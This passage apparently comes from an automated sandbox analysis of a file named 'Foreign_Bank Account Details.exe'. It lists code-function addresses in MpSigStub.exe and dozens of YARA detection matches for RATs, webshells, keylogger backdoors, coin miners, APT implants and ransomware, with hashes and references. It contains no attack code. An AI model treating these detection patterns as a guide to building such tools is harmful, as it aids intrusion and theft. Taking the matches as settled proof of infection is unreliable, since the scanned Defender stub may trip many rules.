        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D115F8
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D57600
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D0A818
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D677FC
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D4F76C
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D2490C
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D5B88C
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D5D9D0
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650CEB944
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D61950
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D59B34
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D10AB0
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D0AA68
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D5BA74
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D11C10
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D01D00
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D13CE0
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D5CCC8
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D03C87
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D5BC60
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D61E00
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D42DD4
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D5DD9C
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D41D78
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D45ED0
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D5BE48
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D1502C
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D5C034
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650CFEFCC
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D65F9C
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D0FFA8
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650CFDFB4
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D57108
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650CEB0C8
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D6B058
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D5D058
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D47050
        Source: Foreign_Bank Account Details.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
        Source: 35.3.MpSigStub.exe.15b1ad30826.62.raw.unpack, type: UNPACKEDPEMatched rule: clearlog date = 2017-06-02, hash1 = 14093ce6d0fe8ab60963771f48937c669103842a0400b8d97f829b33c420f7e3, author = Florian Roth, description = Detects Fireball malware - file clearlog.dll, reference = https://goo.gl/4pTkGQ, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1b9c89b2.43.raw.unpack, type: UNPACKEDPEMatched rule: IMPLANT_4_v5 date = 2017-02-10, author = US CERT, description = BlackEnergy / Voodoo Bear Implant by APT28, reference = https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE, score =
        Source: 35.3.MpSigStub.exe.15b1b9c89b2.43.raw.unpack, type: UNPACKEDPEMatched rule: Derusbi_Kernel_Driver_WD_UDFS date = 2015-12-15, hash4 = e27fb16dce7fff714f4b05f2cef53e1919a34d7ec0e595f2eaa155861a213e59, hash3 = 6cdb65dbfb2c236b6d149fd9836cb484d0608ea082cf5bd88edde31ad11a0d58, hash2 = 50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a, author = Florian Roth, description = Detects Derusbi Kernel Driver, reference = http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 1b449121300b0188ff9f6a8c399fb818d0cf53fd36cf012e6908a2665a27f016
        Source: 35.3.MpSigStub.exe.15b1b9c89b2.43.raw.unpack, type: UNPACKEDPEMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
        Source: 35.3.MpSigStub.exe.15b1a7d1391.177.raw.unpack, type: UNPACKEDPEMatched rule: XOR_4byte_Key date = 2015-12-15, author = Florian Roth, description = Detects an executable encrypted with a 4 byte XOR (also used for Derusbi Trojan), reference = http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1b59d455.123.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1b59d455.123.raw.unpack, type: UNPACKEDPEMatched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth, description = Detects typical strings in a reversed or otherwise modified form, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1b59e859.148.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1b59e859.148.raw.unpack, type: UNPACKEDPEMatched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth, description = Detects typical strings in a reversed or otherwise modified form, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1bf2fb91.211.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1b41327e.91.unpack, type: UNPACKEDPEMatched rule: webshell_asp_generic_eval_on_input date = 2021/01/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function directly on user input, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 069ea990d32fc980939fffdf1aed77384bf7806bc57c0a7faaff33bd1a3447f6
        Source: 35.3.MpSigStub.exe.15b1a7cea69.179.raw.unpack, type: UNPACKEDPEMatched rule: XOR_4byte_Key date = 2015-12-15, author = Florian Roth, description = Detects an executable encrypted with a 4 byte XOR (also used for Derusbi Trojan), reference = http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1bb541e6.101.raw.unpack, type: UNPACKEDPEMatched rule: APT_DNSpionage_Karkoff_Malware_Apr19_1 date = 2019-04-24, hash4 = cd4b9d0f2d1c0468750855f0ed352c1ed6d4f512d66e0e44ce308688235295b5, hash3 = 5b102bf4d997688268bab45336cead7cdf188eb0d6355764e53b4f62e1cdf30c, hash2 = b017b9fc2484ce0a5629ff1fed15bca9f62f942eafbb74da6a40f40337187b04, hash1 = 6a251ed6a2c6a0a2be11f2a945ec68c814d27e2b6ef445f4b2c7a779620baa11, author = Florian Roth, description = Detects DNSpionage Karkoff malware, reference = https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html
        Source: 35.3.MpSigStub.exe.15b1bb541e6.101.raw.unpack, type: UNPACKEDPEMatched rule: DeepPanda_htran_exe date = 2015/02/08, author = Florian Roth, description = Hack Deep Panda - htran-exe, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 38e21f0b87b3052b536408fdf59185f8b3d210b9
        Source: 35.3.MpSigStub.exe.15b1bb541e6.101.raw.unpack, type: UNPACKEDPEMatched rule: SUSP_DropperBackdoor_Keywords date = 2019-04-24, hash1 = cd4b9d0f2d1c0468750855f0ed352c1ed6d4f512d66e0e44ce308688235295b5, author = Florian Roth, description = Detects suspicious keywords that indicate a backdoor, reference = https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html
        Source: 35.3.MpSigStub.exe.15b1bb541e6.101.raw.unpack, type: UNPACKEDPEMatched rule: APT_APT41_POISONPLUG date = 2019-08-07, hash4 = 3e6c4e97cc09d0432fbbbf3f3e424d4aa967d3073b6002305cd6573c47f0341f, hash3 = f4d57acde4bc546a10cd199c70cdad09f576fdfe66a36b08a00c19ff6ae19661, hash2 = 5d971ed3947597fbb7e51d806647b37d64d9fe915b35c7c9eaf79a37b82dab90, author = Florian Roth, description = Detects APT41 malware POISONPLUG, reference = https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html, score = 2eea29d83f485897e2bac9501ef000cc266ffe10019d8c529555a3435ac4aabd
        Source: 35.3.MpSigStub.exe.15b1bb541e6.101.raw.unpack, type: UNPACKEDPEMatched rule: APT_MAL_HOPLIGHT_NK_HiddenCobra_Apr19_3 date = 2019-04-13, hash3 = ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d, hash2 = 05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461, hash1 = 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525, author = Florian Roth, description = Detects HOPLIGHT malware used by HiddenCobra APT group, reference = https://www.us-cert.gov/ncas/analysis-reports/AR19-100A
        Source: 35.3.MpSigStub.exe.15b1b78484d.88.raw.unpack, type: UNPACKEDPEMatched rule: HackTool_Samples description = Hacktool, score =
        Source: 35.3.MpSigStub.exe.15b1bf798f9.36.raw.unpack, type: UNPACKEDPEMatched rule: TA17_293A_malware_1 date = 2017/07/17, hash5 = 038A97B4E2F37F34B255F0643E49FC9D, hash4 = 04738CA02F59A5CD394998A99FCD9613, hash3 = 8943E71A8C73B5E343AA9D2E19002373, hash2 = BA756DD64C1147515BA2298B6A760260, hash1 = A07AA521E7CAFB360294E56969EDA5D6, hash0 = 61C909D2F625223DB2FB858BBDF42A76, author = US-CERT Code Analysis Team (modified by Florian Roth), description = inveigh pen testing tools & related artifacts, hash10 = 4595DBE00A538DF127E0079294C87DA0, hash9 = 722154A36F32BA10E98020A8AD758A7A, hash8 = 5DBEF7BDDAF50624E840CCBCE2816594, hash7 = AA905A3508D9309A93AD5C0EC26EBC9B, hash6 = 65A1A73253F04354886F375B59550B46, reference = https://www.us-cert.gov/ncas/alerts/TA17-293A
        Source: 35.3.MpSigStub.exe.15b1bf2fb91.132.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1c00879a.77.unpack, type: UNPACKEDPEMatched rule: REDLEAVES_DroppedFile_ImplantLoader_Starburn author = USG, description = Detect the DLL responsible for loading and deobfuscating the DAT file containing shellcode and core REDLEAVES RAT, reference = https://www.us-cert.gov/ncas/alerts/TA17-117A, true_positive = 7f8a867a8302fe58039a6db254d335ae
        Source: 35.3.MpSigStub.exe.15b1c00879a.77.unpack, type: UNPACKEDPEMatched rule: malware_red_leaves_memory author = David Cannings, description = Red Leaves C&C left in memory, use with Volatility / Rekall
        Source: 35.3.MpSigStub.exe.15b1b09d292.197.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc
        Source: 35.3.MpSigStub.exe.15b1b59d455.107.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1b59d455.107.raw.unpack, type: UNPACKEDPEMatched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth, description = Detects typical strings in a reversed or otherwise modified form, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.raw.unpack, type: UNPACKEDPEMatched rule: MiniRAT_Gen_1 date = 2018-01-22, hash5 = 675c3d96070dc9a0e437f3e1b653b90dbc6700b0ec57379d4139e65f7d2799cd, hash4 = ed97719c008422925ae21ff34448a8c35ee270a428b0478e24669396761d0790, hash3 = ba4e063472a2559b4baa82d5272304a1cdae6968145c5ef221295c90e88458e2, hash2 = b6ac374f79860ae99736aaa190cce5922a969ab060d7ae367dbfa094bfe4777d, hash1 = 091ae8d5649c4e040d25550f2cdf7f1ddfc9c698e672318eb1ab6303aa1cf85b, author = Florian Roth, description = Detects Mini RAT malware, reference = https://www.eff.org/deeplinks/2018/01/dark-caracal-good-news-and-bad-news, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.raw.unpack, type: UNPACKEDPEMatched rule: SUSP_PDB_Strings_Keylogger_Backdoor date = 2018-03-23, author = Florian Roth, description = Detects PDB strings used in backdoors or keyloggers, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1a7b2b8a.201.raw.unpack, type: UNPACKEDPEMatched rule: APT_apt_duqu2_loaders copyright = Kaspersky Lab, description = Rule to detect Duqu 2.0 samples, version = 1.0, last_modified = 2015-06-09
        Source: 35.3.MpSigStub.exe.15b1a7b2b8a.201.raw.unpack, type: UNPACKEDPEMatched rule: Oilrig_IntelSecurityManager date = 2018-01-19, author = Eyal Sela, description = Detects OilRig malware, reference = Internal Research
        Source: 35.3.MpSigStub.exe.15b1a7b2b8a.201.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1a7b2b8a.201.raw.unpack, type: UNPACKEDPEMatched rule: apt_duqu2_loaders copyright = Kaspersky Lab, description = Rule to detect Duqu 2.0 samples, version = 1.0, last_modified = 2015-06-09
        Source: 35.3.MpSigStub.exe.15b1bde4c13.118.raw.unpack, type: UNPACKEDPEMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 35.3.MpSigStub.exe.15b1bde4c13.118.raw.unpack, type: UNPACKEDPEMatched rule: webshell_php_by_string_obfuscation date = 2021/01/09, author = Arnim Rupp, description = PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = e4a15637c90e8eabcbdc748366ae55996dbec926382220c423e754bd819d22bc
        Source: 35.3.MpSigStub.exe.15b1bde4c13.118.raw.unpack, type: UNPACKEDPEMatched rule: webshell_asp_generic_eval_on_input date = 2021/01/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function directly on user input, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 069ea990d32fc980939fffdf1aed77384bf7806bc57c0a7faaff33bd1a3447f6
        Source: 35.3.MpSigStub.exe.15b1b09d292.124.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc
        Source: 35.3.MpSigStub.exe.15b1c2da78e.186.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.raw.unpack, type: UNPACKEDPEMatched rule: MiniRAT_Gen_1 date = 2018-01-22, hash5 = 675c3d96070dc9a0e437f3e1b653b90dbc6700b0ec57379d4139e65f7d2799cd, hash4 = ed97719c008422925ae21ff34448a8c35ee270a428b0478e24669396761d0790, hash3 = ba4e063472a2559b4baa82d5272304a1cdae6968145c5ef221295c90e88458e2, hash2 = b6ac374f79860ae99736aaa190cce5922a969ab060d7ae367dbfa094bfe4777d, hash1 = 091ae8d5649c4e040d25550f2cdf7f1ddfc9c698e672318eb1ab6303aa1cf85b, author = Florian Roth, description = Detects Mini RAT malware, reference = https://www.eff.org/deeplinks/2018/01/dark-caracal-good-news-and-bad-news, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.raw.unpack, type: UNPACKEDPEMatched rule: SUSP_PDB_Strings_Keylogger_Backdoor date = 2018-03-23, author = Florian Roth, description = Detects PDB strings used in backdoors or keyloggers, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1b352d6a.96.raw.unpack, type: UNPACKEDPEMatched rule: HackTool_MSIL_SharPersist_2 author = FireEye, reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 98ecf58d48a3eae43899b45cec0fc6b7
        Source: 35.3.MpSigStub.exe.15b1c4ed472.82.raw.unpack, type: UNPACKEDPEMatched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, reference = Internal Research, score = 2017-07-17, modified = 2021-03-15, nodeepdive =
        Source: 35.3.MpSigStub.exe.15b1c4ed472.82.raw.unpack, type: UNPACKEDPEMatched rule: SUSP_RANSOMWARE_Indicator_Jul20 date = 2020-07-28, hash3 = 6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306, hash2 = 5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473, author = Florian Roth, description = Detects ransomware indicator, reference = https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/, score = 52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6
        Source: 35.3.MpSigStub.exe.15b1c4ed472.82.raw.unpack, type: UNPACKEDPEMatched rule: APT_PupyRAT_PY date = 2017-02-17, hash1 = 8d89f53b0a6558d6bb9cdbc9f218ef699f3c87dd06bc03dd042290dedc18cb71, author = Florian Roth, description = Detects Pupy RAT, reference = https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1c4ed472.82.raw.unpack, type: UNPACKEDPEMatched rule: Pupy_Backdoor date = 2017-08-11, hash5 = 06bb41c12644ca1761bcb3c14767180b673cb9d9116b555680073509e7063c3e, hash4 = 20e19817f72e72f87c794843d46c55f2b8fd091582bceca0460c9f0640c7bbd8, hash3 = 90757c1ae9597bea39bb52a38fb3d497358a2499c92c7636d71b95ec973186cc, hash2 = 83380f351214c3bd2c8e62430f70f8f90d11c831695027f329af04806b9f8ea4, hash1 = ae93714203c7ab4ab73f2ad8364819d16644c7649ea04f483b46924bd5bc0153, author = Florian Roth, description = Detects Pupy backdoor, hash7 = 8784c317e6977b4c201393913e76fc11ec34ea657de24e957d130ce9006caa01, hash6 = be83c513b24468558dc7df7f63d979af41287e568808ed8f807706f6992bfab2, reference = https://github.com/n1nj4sec/pupy-binaries, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1c4ed472.82.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1bb549ea.103.raw.unpack, type: UNPACKEDPEMatched rule: APT_DNSpionage_Karkoff_Malware_Apr19_1 date = 2019-04-24, hash4 = cd4b9d0f2d1c0468750855f0ed352c1ed6d4f512d66e0e44ce308688235295b5, hash3 = 5b102bf4d997688268bab45336cead7cdf188eb0d6355764e53b4f62e1cdf30c, hash2 = b017b9fc2484ce0a5629ff1fed15bca9f62f942eafbb74da6a40f40337187b04, hash1 = 6a251ed6a2c6a0a2be11f2a945ec68c814d27e2b6ef445f4b2c7a779620baa11, author = Florian Roth, description = Detects DNSpionage Karkoff malware, reference = https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html
        Source: 35.3.MpSigStub.exe.15b1bb549ea.103.raw.unpack, type: UNPACKEDPEMatched rule: DeepPanda_htran_exe date = 2015/02/08, author = Florian Roth, description = Hack Deep Panda - htran-exe, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 38e21f0b87b3052b536408fdf59185f8b3d210b9
        Source: 35.3.MpSigStub.exe.15b1bb549ea.103.raw.unpack, type: UNPACKEDPEMatched rule: SUSP_DropperBackdoor_Keywords date = 2019-04-24, hash1 = cd4b9d0f2d1c0468750855f0ed352c1ed6d4f512d66e0e44ce308688235295b5, author = Florian Roth, description = Detects suspicious keywords that indicate a backdoor, reference = https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html
        Source: 35.3.MpSigStub.exe.15b1bb549ea.103.raw.unpack, type: UNPACKEDPEMatched rule: APT_APT41_POISONPLUG date = 2019-08-07, hash4 = 3e6c4e97cc09d0432fbbbf3f3e424d4aa967d3073b6002305cd6573c47f0341f, hash3 = f4d57acde4bc546a10cd199c70cdad09f576fdfe66a36b08a00c19ff6ae19661, hash2 = 5d971ed3947597fbb7e51d806647b37d64d9fe915b35c7c9eaf79a37b82dab90, author = Florian Roth, description = Detects APT41 malware POISONPLUG, reference = https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html, score = 2eea29d83f485897e2bac9501ef000cc266ffe10019d8c529555a3435ac4aabd
        Source: 35.3.MpSigStub.exe.15b1bb549ea.103.raw.unpack, type: UNPACKEDPEMatched rule: APT_MAL_HOPLIGHT_NK_HiddenCobra_Apr19_3 date = 2019-04-13, hash3 = ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d, hash2 = 05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461, hash1 = 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525, author = Florian Roth, description = Detects HOPLIGHT malware used by HiddenCobra APT group, reference = https://www.us-cert.gov/ncas/analysis-reports/AR19-100A
        Source: 35.3.MpSigStub.exe.15b1b59fe5d.109.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1b59fe5d.109.raw.unpack, type: UNPACKEDPEMatched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth, description = Detects typical strings in a reversed or otherwise modified form, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1bcea0d6.57.raw.unpack, type: UNPACKEDPEMatched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
